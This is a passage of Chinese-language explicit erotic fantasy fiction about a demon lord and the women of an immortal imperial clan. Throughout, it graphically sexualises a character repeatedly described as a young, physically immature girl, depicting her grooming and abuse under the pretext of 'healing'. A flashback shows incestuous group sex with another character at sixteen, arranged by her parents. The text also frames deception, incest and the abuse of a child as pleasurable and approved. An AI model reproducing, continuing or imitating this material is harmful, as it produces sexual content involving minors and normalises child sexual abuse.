邪犽一听,大感讶异之余,心中漆黑的邪念却更加旺盛了。

「你们帝家的规矩可真特别……」

邪犽笑道:「若是女儿生下的又是女儿呢?」

「那当然……还是心肝的妻子呀……」

霜月吃吃笑道,见到邪犽眼中闪烁异光,竟愈发兴奋了,「心肝现在可知身
为我帝家男子之幸了?」

「那我何时可以品尝你的小丫头?」

邪犽问道,手已解开霜月的腰带。

「心肝若愿,今夜即可……」

霜月感到邪犽火热的掌心在耻丘上游移爱抚,只觉说不出的美妙欢快,爱液
有如泉涌。

此时,邪犽已忘了要询问如何使雾凌怀孕之事,心中满是难以抑制的淫念,
阳物隔着裤裆,便在霜月的双腿间来回磨蹭。

「啊……心肝……」

霜月娇喘,搂住邪犽。

室内,两条赤裸的女体相连,一妖媚多姿、一纤瘦可爱,均缓缓扭动,不时
发出撩人喘息。

「啊……啊……姐姐……」

凤玉两手抓着床褥,纤细的腰身迎着雾凌的臀,轻轻颤抖。

仙帝微隆的胸部上,两粒粉红嫩莓高高翘起,未脱稚气的细长手脚因兴奋而
染上淡淡的红潮,尚未成熟的娇躯在欢美中扭曲,呈现出一股与她年龄不符的淫
艳风情。

雾凌呵呵一笑,将手掌按在凤玉的胸口上,罩着她的薄乳,凤玉立刻发出一
阵欢愉的喘息。

「舒服吗?凤玉?」

雾凌问道,缓缓揉了起来。

「嗯……姐姐的手好暖……好舒服……」

凤玉点头,黑发在细瘦的娇躯下乌光闪耀。

雾凌低下头,缓缓夺去凤玉的唇,舌尖探入仙帝小口之中,轻轻咂了起来。

凤玉「哼哎」两声,双手搂住雾凌,热切地吻了回去,吮着姐姐的朱杏,一
脸香甜地吸了起来。

雾凌腰肢扭转,让下体与凤玉的蜜部吻合,饱满的阴唇吻着凤玉单薄的花瓣,
将胎房中饱含天地之气的稠密精水一小股一小股传入凤玉胎房内。

凤玉紧抱着雾凌,半眯的双眸热气迷蒙,年幼的她不知那在体内肆虐的欢愉
其实是来自心中初萌的肉欲,还以为是雾凌的高超妙法,在治病愈疾的同时,也
令人欲仙欲死。

(姐姐的……法力越来越高强……比之前几回都来得舒服……舒服极了……
吮着雾凌温暖的朱杏,凤玉小口啜饮她微甜的涎浆,细瘦的腰肢迎着雾凌扭动起
来。

(凤玉的年纪也差不多了……就算什么都不说……身子也会这般迎送……雾
凌心想,手掌抚慰着凤玉浅薄的乳丘,感到她发烫的肌肤好似黏附在掌心一般,
说什么也不愿离去。

起初,雾凌只是单纯传气予凤玉,并无他想。然而,传气之时肌肤相接,女
阴相交相连,互为刺激,就算没有阳气诱引,仍易勾动欲火,如此日积月累,到
了第二年初,雾凌终于情不自禁,领着凤玉共赴云雨,在她稚嫩的花田里洒下无
数情欢种子,而凤玉对男女之事全然无知,只以为是雾凌疗伤治病的仙术,不假
思索地欣然接受。

其后,雾凌便假借传气之名,不时与凤玉偷欢相爱,开头几回还尚感愧疚,
但随着时日经过,习惯成自然,就连那最后一丝罪恶感也从心中消褪了。

「凤玉……你喜不喜欢姐姐?」

当传气将近圆满时,雾凌暂缓亲吻,问道。

「喜欢……我最喜欢姐姐了……」

凤玉吁喘不已,娇躯阵阵轻颤,早已忘记自己仙帝的身份,「我好想就这样
病下去……和姐姐永远在一起……」

「小傻瓜,就算你病好了,姐姐也不会离开你的。」

雾凌笑道。

「真的吗?就算我的病好了……」

凤玉听了,难掩喜色,灿然而笑,「姐姐还是会这样传气给我?」

「只要你不嫌弃,姐姐每天都传气给你。」

雾凌道,两人紧紧相拥,雾凌用丰满的娇躯将身形单薄的凤玉包覆起来,肌
肤热气相浸,彼此都不禁叹了一声。

「凤玉……剩下一点了,你用嘴吸吧。」

过了一会,雾凌轻声道。

凤玉点点头,倒转身子,来到雾凌下方,熟练地将头脸置于她的双腿之间。

雾凌大腿开敞,将蜜液氾滥的肉贝在凤玉面前展开,凤玉亦张开双腿,洁净
无毛的骨感耻丘缓缓降到雾凌面前。

凤玉低下头,双手捧着雾凌的腿,娇小的朱芽探进花瓣内里,沿着肉田上下
舔舐起来。

雾凌将手按在凤玉小巧翘挺的臀上,把那尚未绽放的单薄花瓣含在口中轻轻
舔吮,同时感到凤玉的舌尖钻进了蜜穴里头,吸食着最后几股精水。

三年前令人倍感苦涩的腥稠液体,凤玉现在已经可以轻易饮下,甚至连残留
在舌尖的黏滑触感也倍觉美味。

正努力吮咽时,忽然一股天翻地覆的欢快袭上凤玉,她不得不停止动作,腰
肢剧颤。

「姐姐……啊啊……」

凤玉呻吟,只感浑身稣麻。

雾凌呵呵一笑,朱杏在凤玉的处女穴上舔吻,舌尖逗弄着那乳白色的小小薄
膜,手指捏着她青涩的花蕾来回挑弄。

快乐的波涛一道接着一道,凤玉双腿抽搐,无力反抗,只能抱着雾凌的腿亲
吻。

听着凤玉销魂的呻吟,雾凌只感浑身燥热,一股难以形容的浓浊欲望好似黑
油一般在体内游荡,催促着她在凤玉体内奏起更多的欢声。

门外,霜月双手撑在廊缘,裙摆撩起至腰,雪白的桃臀高高翘起,邪犽捧着
她的两片臀瓣,边操边欣赏着室内雾凌与凤玉的欢爱。

「心肝……你看……奴家没说错吧?」

霜月被邪犽操得魂都要飞了,颤声道。

「啊……真的……」

邪犽喘道,阳物顶着霜月的胎房,好似要将她顶穿似的,「雾凌她……竟然
和那丫头弄了起来……」

从霜月打开的门缝里,邪犽看得目瞪口呆,漆黑的浓稠欲望在心中翻搅,只
觉从未如此兴奋,体内的阳气全往肉茎中涌去,鼓胀欲裂。

拉门内,一股混杂着人臭和雌狐媚香的气味飘逸而出,只见雾凌背对着拉门,
和凤玉裸身相拥,洁白如雪的背肌染上了一层鲜识的红晕。

只闻两人细语呢喃,柔声款款,雾凌抬着一条腿,腿上热气蒸融,凝成汗珠
滴落,凤玉纤细的指尖便在雾凌的腿下爱抚,从腿根摸到红艳的蜜肉,陷进穴中,
前后抽送,手法极为熟练。

「啊……啊……」

雾凌陶醉地呻吟。

「姐姐……我这样弄还舒服吗?」

凤玉轻声问道。

「好舒服……姐姐好舒服……」

雾凌缓缓答道,语声娇柔,似是与情人说话一般,「再多弄些……」

凤玉听了,露齿而笑。

没一会,雾凌便被凤玉弄得泄身了,她腰肢颤抖,爱液喷溅,娇喘不已,凤
玉见状,呼吸也跟着沉重起来。

「姐姐……我想吃你口里的津涎……」

凤玉边喘边道,双眸凝视着雾凌,全没往门外的邪犽和霜月看上一眼。

雾凌将头往前探,邪犽只能看到她诱人的背影。

「嘻嘻,想吃就吃吧。」

雾凌浪声道,语调妖淫,令邪犽惊愕万分,「还问什么,难道姐姐会不给你
吃吗?」

雾凌捧住了凤玉的脸蛋,两人同时轻哼一声,接着传出一阵「哂咂」声响,
显然吻得火热。

两人吻到酣处,四腿交叉,让自己的蜜部枕在对方的大腿上,腰肢挺送,磨
蹭了起来,腿上肌肤沾满蜜桨。

「姐姐……我好舒服……下面好烫……」

凤玉娇躯抽搐,唇边莹莹闪闪,全是雾凌的香涎,颤声问道:「身子好像不
是我的了……怎么办……」

「你的身子是姐姐的……放心吧……」

雾凌喘道:「和姐姐一块……一块泄身……」

雾凌接着坐直身子,提起凤玉的双腿,将滴着黏腻蜜液的阴唇压在凤玉的贝
肉上,腰臀滑送,淫声不断。

忽地,两人都止了动作,紧紧相拥,手脚交缠,大股暖浆自二女的阴部倾泄,
室内尽是欢声娇喘,春色无边。

室外,霜月翻过身来,躺卧在廊板上,肤色晶莹的双腿勾着邪犽的腰际,蜜
穴抽颤颠抖,整个人都泄得痴了。

「哈……哈……」

邪犽贪婪地吻着霜月,射精时,还斜眼望着室内交缠的雾凌和凤玉。

「心肝……让奴家给你怀个胎吧……」

霜月恳求道:「我帝门香火……都在心肝身上了……」

「放心吧……」

邪犽抹去额上汗水,心中那股异样的漆黑淫欲如今再也不会令他感到恐惧,
反而带来了无上的欢愉,邪犽笑道:「你们三个……都要生我的孩子……」

霜月被邪犽的热精烫得心神恍惚,不停地喘息。

房内,雾凌对门外的情况一无所知,她将脸蛋埋入凤玉纤瘦的双腿之间,唇
衔着她薄嫩的花瓣,轻柔地舔吮。

「姐姐……姐姐……」

凤玉腰肢摆动,在欢愉的悦乐中,眼神亦陷入蒙眬。

午夜时分,霜月准备妥当,仅着一袭薄纱衣裙,裸着脚掌,在冰冷的廊上莲
步轻挪,缓缓走向邪犽与雾凌的房间。

房门外,两名侍女跪坐廊边,手提灯笼,照映着门前地板。她们低着头,呼
吸粗浊,双腿在臀下不安地绞动。

霜月感应到侍女们体内阴气浮躁,知道她们动了淫念,但并不责怪。

「啊啊……啊啊!」

雾凌抽泣似地娇喘,夹带着床板震动、肉体碰撞声,不断地透过房门传出,
想是邪犽让她连设下结界的时间都没有。

「这样多久了?」

霜月停在门外,问道。

「二位回房后,已有两个时辰了……」

侍女回答,连着两个时辰在门外聆听雾凌的娇媚呻吟,就算想保持平静也难。

(心肝神力无穷……区区两个时辰,想必连大气也不喘一下……霜月在房门
上轻轻敲击。

「是霜月吗?进来。」

房内的声音戛然而止,邪犽道。

「妾身失礼了。」

霜月回答,缓缓推开房门,膝行而入。

一进门,扑鼻而来是一股浓厚温热,糅合了男女体液的刺激性气味,如膏如
脂地黏附鼻中,久久不散,霜月光闻那味,下体便不禁微微发烫。

只见邪犽裸着身子,坐在雾凌脸旁,阳物在她口中抽送。雾凌亦已回复原形,
她瘫卧在床,浑身银毛紊乱,胸腹、大腿都沾满了大量浓精,外翻的花瓣艳红得
好似烂熟的石榴,臀下积着一潭白浆,要不是房里只有邪犽一人,光看那模样,
霜月还以为雾凌是被好几名男子轮流轻薄了呢。

「嗯嗯……呜嗯……」

雾凌虽睁着双眼,但神情恍惚,见到霜月走近房中,亦是毫无反应,她体内
阴气狂乱至极,想是受不住邪犽以阳气催逼,导致欲火冲心,若不善加休息,短
期间内无法恢复正常。

霜月仔细一看,见雾凌喉头滚动,好似在吞咽什么,才明了邪犽正在她口中
射精。

胄望着雾凌脸上呆滞的神情,霜月心中竟感到几丝妒羡。

(只要能让心肝这样出在身上……就算把奴家弄傻了……奴家也甘心……霜
月本非页洁之人,又十余年未与男子交合,自昨夜与邪犽交欢后,潜藏已久的贪
欲好似猛虎般脱闸而出,邪犽又具备雄厚的真阳之气,凡女子皆难以抵挡,更使
霜月心情浮动。

「霜月,你下午说的那间房子整理好了?」

邪犽轻抚雾凌的脸蛋问道,腰肢颤抖,显然射精势道未歇。

「那儿久未使用,累积不少尘垢,花了些时间,但如今已清理整齐,只要心
肝一声令下,现在便可……」

霜月答道,一双眼睛不断在邪犽的胸膛与雾凌口中的阳物来回扫视。

「那好……等一下我们就进去。」

邪犽满意地点头,缓缓将阳物拔出。

男根离口,雾凌嘴旁流出精液,白色的暖浆从朱红柔唇边缘缓缓滑落,模样
异常淫秽。

霜月看得口干舌燥,欲火焚身,恨不得凑上前去将雾凌口中的阳精一饮而尽。

邪犽轻轻把雾凌的嘴阖上,她做梦似地哼了一声,娇躯颤抖,喉头再次滚动,
把口中残精咽下。

「走吧,你让凤玉进去没有?」

邪犽下床,索性连衣裤也不穿,顶着一根通体烧烫、坚硬如铁的赤色阳物,
来到霜月身旁。

「她……奴家已经吩咐侍女先把她给搬进去了,小孩子晚上睡得沉……」

霜月盯着邪犽那根暴怒的肉茎,体内阴气翻沸,较之下午,心神更加浮乱,
脑中除了与邪犽交合一事,什么都难以思考。

邪犽见状,面露微笑。

「急什么,等进房以后,就算你说不要,我也不会饶了你的。」

他在霜月耳边低声道,手一把搂在她的腰上。

「心肝……心肝说得是……」

霜月只觉浑身绵软,低声答道,娇滴滴地倚在邪犽的胸前,两人缓步走出房
外。

金阁仙阙宫的东北角上有一间长房,左右只有两丈宽,纵深却有接近十丈。

以金铁铸造,施加多层术法的坚固房门,只有半个人宽,来客欲入,必须侧
身而过,身子稍胖些的,连进都进不去。

按照帝门家规,这间长房每年需开启一月,所有帝家血脉,不分男女老幼,
均须同居其中,直至期满。但自帝族最后的男丁,霜月之兄凰炎帝离世后,帝族
只剩女子,传递香火无望,是以这长房已将近十七年无人问津了。

长房的名字叫漆凤胶惊房,霜月多叫其鸾凤房。

邪犽搂着霜月在夜色下缓步前进,两人一起来到鸾凤房前,金铁铸成的房门
已开,四名侍女恭候在旁。

霜月从侍女手中接过灯笼,吩咐她们要是见到雾凌前来,需开门让她进入,
之后便侧身走进房中。

邪犽跟在霜月身后踏入,房中漆黑一片,地板柔软,屋顶与墙壁交接处的通
风孔虽射进几道浅浅月光,却都被房中的黑暗给吞噬了,只有霜月手上灯笼聊可
为照。

呀的一声闷响,铁门在身后重重关上,接着喀啦声大作,似乎还上了锁。门
一关上,数股不同性质的法力立刻在鸾凤房四面墙上,以及屋顶地板奔过,提升
了建筑本身的强度,普通的仙人或妖怪就算想硬闯,亦是难以得逞。

当然,此等结界之术,邪犽根本视若无物,就算是雾凌,大概也阻挡不了她
十分半刻。

火光一晃,霜月将灯笼里的火苗取出,随手一扔,火苗如活物般沿着墙往前
飘移,啪啪地点燃了好几座灯台,邪犽这才看清深房的地上铺着好几大块的丝绸
软垫,上头四处散落着枕头、被褥等寝具,再往后望去,竟然还有一座浴池,更
后面还有两座炉灶,最后有间以木板隔绝的小门,看起来像是如厕之处。

(原来如此,难怪可以关在这里达一个月之久了,原来日常生活所需里头一
应俱全……只见丝绸大垫的某处躺着一名身着洁白衣裤的少女,她乌发散开,睡
相纯洁,正是凤玉。

霜月和邪犽一块在凤玉身旁坐下,端详她平静的睡脸,平时总令邪犽大感厌
恶的人臭此时他竟不觉如何,自己也不禁感到奇怪。

看了几眼,邪犽淫心大动,尽管已和雾凌欢爱半夜,体内的漆黑欲火依旧难
以平息,反而越演越烈,阳物里头好似有无数小虫钻动,争相恐后想要冲出皮外,
又痛又痒,只有女阴能解其饥渴。

他伸出手,扯下霜月的薄纱衣裙的腰带,霜月早有此意,毫不抗拒,不一会,
两人已脱得精光,赤条条地搂在一起,霜月蜜部早已湿透,粗烫的阳物一顶,滋
的一声便插了进去。

瞬间,霜月只觉浑身都酥了,其美妙欢快言语难以形容,在龟头顶入胎房的
那一刻,她便猛然泄身。

邪犽裹着霜月胸前那对光滑的乳,捏着高耸的乳头尽情把玩,同时腰肢抽送,
每一下都让龟头深梼入肉。

「啊啊!心肝!」

霜月腰臀抽弹,神情狂乱,阴道里淫肉纠结裹缠,「奴家……奴家想死你了
……」

邪犽露齿而笑,捧起霜月的臀,在她紧实的穴里横冲直撞,如此反覆两刻余,
直令她泄身五次之后,才猛然射精。

「啊……啊……」

霜月娇唇颤抖,身子香汗淋漓,心儿跳得好似要裂开一般,感到邪犽精猛的
阳气渗入体内,带来一股令人痴迷的晕醉。

邪犽吻着她,放慢抽送速度,一边插一边射精。

「荡妇,跟我说说,你们以前在这房里都是怎么弄的?」

邪犽低声问道。

霜月欲答,但喘不过气来,过了好一会,才将右手平贴于地,体内法力奔动。

眨眼间,无数幽蓝幻影充斥了整座长房,半透明的人影轮廓清晰,有男有女、
有老有幼,在房中熙来攘往,却没有一点声音。

仔细一看,这些幻影全都裸着身子,他们彼此相拥,或两人,或四人,或五、
六人,在房中各处群聚成团,忘我的行男女交欢之事。

「心肝看到的……是两千年来……在这漆凤胶鸾房里,行传宗接代大事的所
有帝族男女……」

霜月颤声道,并指着两人身旁不远处的一组人,「那……那就是奴家了……
一百年前……奴家才刚满十六岁……正要破瓜的时候……」

只见那组人影共有六人,四男两女,其中一女年纪甚幼,脸庞亦与霜月有几
分相像。

「旁边搂着奴家的……是奴家的娘……月兰……」

霜月道。

只见月兰面露微笑,眼神妖媚,将幼年的霜月抱在怀中,修长的指尖不停在
她单薄无毛的蜜贝上拨弄,绕着她们的是四名男子,二老二少,他们的阳物均高
高挺立,八只手在月兰母女俩的身上恣意爱抚,母女俩不但不加拒绝,反而表情
陶醉,显得乐在其中。

「那四个男的是谁?」

邪犽问道。

「年纪长的是奴家的爹爹,少的是哥哥……」

霜月回答。

「你怎么会有两个爹爹?」

邪犽大奇。

「心肝,帝门规矩,年纪长的都叫爹爹,少的叫哥哥。」

霜月媚然一笑,「心肝若长相再老一些,奴家也要叫心肝爹爹,然后自称女
儿了……」

「有这种事?叫两声来听听。」

邪犽大感兴奋,阳物顶着霜月胎房道。

「啊……爹爹!」

霜月腰肢一颤,娇喘道:「爹爹插得好深……女儿快要泄了……」

竟语声自然,毫无做作。

「哼,我就要插深,插死你这淫妇,让你满肚子都是我的精液!」

邪犽笑道,阳物来回顶送。

「爹……爹爹尽管插……女儿早是你的人了……」

霜月欢快欲死,只觉浑身飘忽,好似浮在云端,「要做牛做马……做爹爹的
淫奴……日夜被爹爹把弄……」

霜月的淫言秽语让邪犽浑身发烫,越抽越是起劲。

一旁的幻影们亦是不遑多让,月兰抬起幼时霜月的双腿,作势让一名少年插
入。

月兰在幼年霜月的耳边低喃,但幻影无音,邪犽不知她说了什么,只见幼年
的霜月听了,伸出双手,搂住少年的颈项,两人深深接吻,月兰同时将少年的阳
物引入她的体内,少年臀一挺,插入了幼年霜月的处女之中。

「淫女儿,那个男的是谁?」

邪犽问道。

「那是凰炎……奴家的哥哥……也是女儿的亲生爹爹……」

霜月望着那群幻影时,似是勾起过去的情愫,显得神情激动,眼角含泪,
「奴家还记得……娘那时和奴家说……第一次……就给亲生爹爹吧……生了你的
男根……想必也能入得最深……」

只见幼年霜月咬着下唇,月兰搂着她,似是柔声安慰,凰炎亦轻抚她的脸颊,
徐徐抽送。

「哥哥和娘以为奴家会疼……」

霜月喘道,边说边泄,「其实……哥哥一插进来……奴家就泄了……那滋味
太过美妙……奴家受不了……才咬着嘴……」

果不其然,凰炎很快发现了霜月体内的变化,笑了起来,他捧住幼年霜月娇
小的乳房低头亲吻,口中呢喃,然后逐渐加快抽送的速度。

「哥哥叫奴家给他生孩子……要生女儿……这样一来……他就能和前帝霄龙
一样……一次和三个亲生女儿相好了……」

霜月道。

邪犽大为兴奋,精关一碎,剧烈的欢快冲袭全身,竟不中断地再度射精。

「啊……哈……」

邪犽边喘边笑,「那你也要给我生女儿……凤玉也要给我生女儿……然后我
要把你们母女四人摆在一块……日夜操弄……」

「奴家……全都依心肝的……」

霜月听了,只觉得心头火热,将邪犽搂得更紧,「心肝已是奴家的爹爹……
女儿全听爹爹的……等生了女儿……都叫爹爹哥哥……」

至此,邪犽已经完全忘记了九千院托予他的使命,心中除与眼前母女贪欢淫
爱之外,再无其他想法。

锐利的欢美如刀般划过邪犽的脊髓,他只感阳物坚硬,欲念强猛,射精的势
头久久不歇。霜月只觉得精液热烫,有如铁浆,源源不绝地注入体内,直令她心
醉神迷,只能死命地搂着邪犽厚实的身躯。

另一边,幻影人以复杂的姿势堆叠成一座肉山,肉山的中心是月兰和幼年霜
月,四个男子骑跨在她们身上,抓着母女俩的腰臀和双腿,阳物分别插入前后肉
穴,一齐操了起来。

邪犽看得心痒,亦思效法,欲将射精中的阳物拔出,岂料霜月的蜜穴缩得狠
了,肉死死地卷着男根,让他费了一番力气才抽了出来。

霜月喘息不已,望着邪犽那根鲜红的热烫阳物,只见阴茎表皮干燥,还冒著
白烟,原来是爱液被烈火般的阳气蒸发,在空中化成了催情的雌香。

邪犽握着阳物,龟头不停抽弹,精液喷洒在霜月的腹上、丝绸软垫上,他命
霜月翻过身,阴蜜顶上她后庭的菊门。

霜月的后庭早已酥软,邪犽轻易顶开菊肉,进入了后院深庭。

霜月深深喘息,阳物的热气透过肠子直接渗入体内,将她烘烤得无比舒畅,
整个人都暖了起来。

接下来的事霜月已记不清楚了,只知道邪犽越入越深,龟头好似要顶上心窝
一样,凄厉的欢美一波大过一波,她只能任他翻弄,口中不断呼唤着邪犽的名字。

「……娘?皇兄?」

不知何时,一道怯生生的稚幼嗓音将霜月唤回现实。

霜月回过神来,这才发觉邪犽已停止了抽送。

只见凤玉睡眼惺忪地坐起身子,脸上带着不安与惶恐,盯着他俩不停地瞧。

「这里是哪里?」

凤玉左顾右盼,问道:「朕怎么会在这儿?」

「凤儿……」

霜月缓缓道,声调还喘着,「这儿是鸾凤房……房里没有大小之分,所以你
不需以朕自称了……」

「嗯……」

凤玉露出不解的表情,但还是点了点头,「娘……你和皇兄怎么都不穿衣服,
还抱在一起?」

霜月和邪犽相视一笑,邪犽低头,当着凤玉的面与霜月接吻,舌头火热地搅
在一块,霜月身子一酥,只觉邪犽舌尖上好似有电一般,吻得她浑身舒畅。

凤玉见状,先是面露困惑,但很快便一副恍然大悟的表情。

「娘,你也受伤了,要让皇兄治疗吗?」

凤玉问道。

邪犽听了,不禁哈哈大笑,原来凤玉以为霜月也和她一样受了什么难治之伤,
所以才会和他这般搂搂抱抱。

「不是……凤儿……」

霜月微笑,轻轻招手,「娘没有受伤……你过来看……看哥哥是怎么和娘好
的……」

凤玉依言靠近,直挨到霜月身旁,这才见到邪犽那根赤红阳物正深深陷进母
亲的后庭中,惊愕之余亦难掩好奇。

「这……这根又大又红的是什么……怎么会在娘的后边进进出出?」

凤玉从未见过男子的赤裸身躯,是以不知男女之异,越看越是稀奇。

邪犽与霜月笑而不答,霜月侧着身,牵起凤玉的小手,缓缓吻上她稚嫩的柔
唇。

「这……娘?」

受到母亲湿滑舌尖的挑逗,凤玉感到体内一阵微热,「你也要帮我治伤吗?」

「是呀……」

霜月顺水推舟,「凤儿,把衣服脱了……娘和哥哥这就帮你疗伤……」

凤玉瞧了瞧母亲,又望了望邪犽,两人火辣辣的视线令她有些退缩。

「可……可是……」

凤玉不敢在邪犽脸上多望,「皇兄……哥哥他……」

「他不是……不喜欢我吗?」

凤玉面露胆怯道。

「谁说的?雾凌吗?」

邪犽嗤嗤之以鼻,「别听她胡说!」

「可是……哥哥你每次看到我都躲得远远的……」

凤玉将心中怀抱已久的疑问倾吐出来,「那不是……因为你讨厌我?」

「傻凤儿,才不是这么回事呢。」

霜月对邪犽眨了眨眼,搂着凤玉笑道:「那是因为你的病情还未好转到足以
承接哥哥真阳之气的地步,为了不伤到你体内的经脉,哥哥才刻意疏远你的。」

邪犽亦顺水推舟,点头附和。

「是这样吗?」

凤玉心性单纯,见母亲如此道,便信以为真,「那……今天哥哥是……」

「当然是来为你们母女俩治伤的啊。」

邪犽笑道,说时,只感霜月后庭的软肉一阵蠕动,她眼波妖媚,神情浪荡,
手隔着衣物在女儿胸口上抚弄,显然凤玉的醒转激起了她体内另一股沉眠的淫性。

(十六年了……今日列祖列宗保佑……我帝门终于有了男丁……能于这鸾凤
房里再行封月交欢大典了……霜月心情激动,过去在这阴暗长房里所经历的种种
情事,此时一一浮上心头,好似帝族累积两千年的淫念都涌入了体内一般。

「嗯……嗯……」

凤玉哼了两声,在雾凌近三年的调教下,她的娇躯早已十分敏感,是以立即
对母亲的爱抚做出反应,「可是……那雾凌姐姐呢?她不来吗?」

「马上就来了……」

霜月轻轻呢喃,玉指解开凤玉的衣领,慢慢将衣物褪下,她的神情中透露一
股异样的光泽,显是真心贪恋着凤玉的躯体。

邪犽见了,体内高昂的漆黑欲望亦与其呼应,从后捧着霜月的臀部,阳物又
在她的后庭中抽送起来。

搂着女儿纤瘦的身子,霜月泄身了。

「娘……」

凤玉目不转睛地望着母亲,似是没料到她会露出如此表情,惊讶之余,亦显
得有些羡慕,「有……有这般舒服吗?」

「舒服……舒服极了……要娘就这么死在心肝的怀里……娘也甘愿……」

霜月神情痴狂,腰臀不停颤抖。

隔着两尺之遥,邪犽背后的幻影们换了姿势,由月兰捧着幼年霜月的双股,
四名男子提着阳物,轮番上阵,接连插入她甫开苞的嫩穴之中。长房各处充斥的
幻影亦是颠鸾倒凤,逞尽男欢女爱之能,若非幻影幽蓝无声,想必是人间荒淫绝
景。

凤玉身陷无数欢爱魅影之中,本就浮动不安的心神更加飘忽了,一会儿便浑
身热烫,呼吸亦混浊粗重,股间蠢蠢欲动。